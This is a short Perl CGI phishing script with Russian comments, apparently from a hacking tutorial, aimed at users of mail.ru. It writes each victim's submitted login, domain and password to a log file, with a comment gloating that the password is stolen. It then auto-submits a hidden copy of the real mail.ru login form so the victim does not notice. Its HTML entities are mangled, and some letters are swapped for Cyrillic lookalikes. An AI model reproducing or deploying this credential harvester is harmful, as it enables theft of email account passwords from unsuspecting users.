#!/usr/bin/perl -w
 parse_form;
# открываем файл log.txt для добавления инфы
open LOG," gt; gt;../log.txt";
# записываем туда логин и пароль от ящика
print LOG "$FORM{Login} @ $FORM{Domain}, pass:$FORM{Password}\n";
# закрываем файл
close LOG;
# все, пароль сперт!
# теперь перекидываем на mail.ru:
print "Content-Type: text/html\n\n";
print " lt;HTML gt; lt;BODY gt;\n";
# создаем ту же форму, что и на настоящем mail.ru
print " lt;form name=\"Auth\" method=post action=http://win.mail.ru/cgi-bin/auth gt;\n";
print " lt;input type=hidden name=Mpopl value=1892134183 gt;\n";
print " lt;input type=hidden name=login_from value=titul gt;\n";
print " lt;input type=hidden name=\"level\" value=1 gt;\n";
print " lt;input type=hidden name=\"Login\" value=\"$FORM{Login}\" gt;\n";
print " lt;input type=hidden name=\"Password\" value=\"$FORM{Password}\" gt;\n";
print " lt;input type=hidden name=\"Domain\" value=\"$FORM{Domain}\" gt;\n";
print " lt;input TYPE=hidden name=\"\" value=\"Войти\" gt;\n";
# без участия пользователя жмем на невидимую кнопку submit =)
print " lt;script language=jаvаscriрt gt;Auth.submit() lt;/script gt;\n";
print " lt;/form gt;\n";
print " lt;/BODY gt; lt;/HTML gt;\n";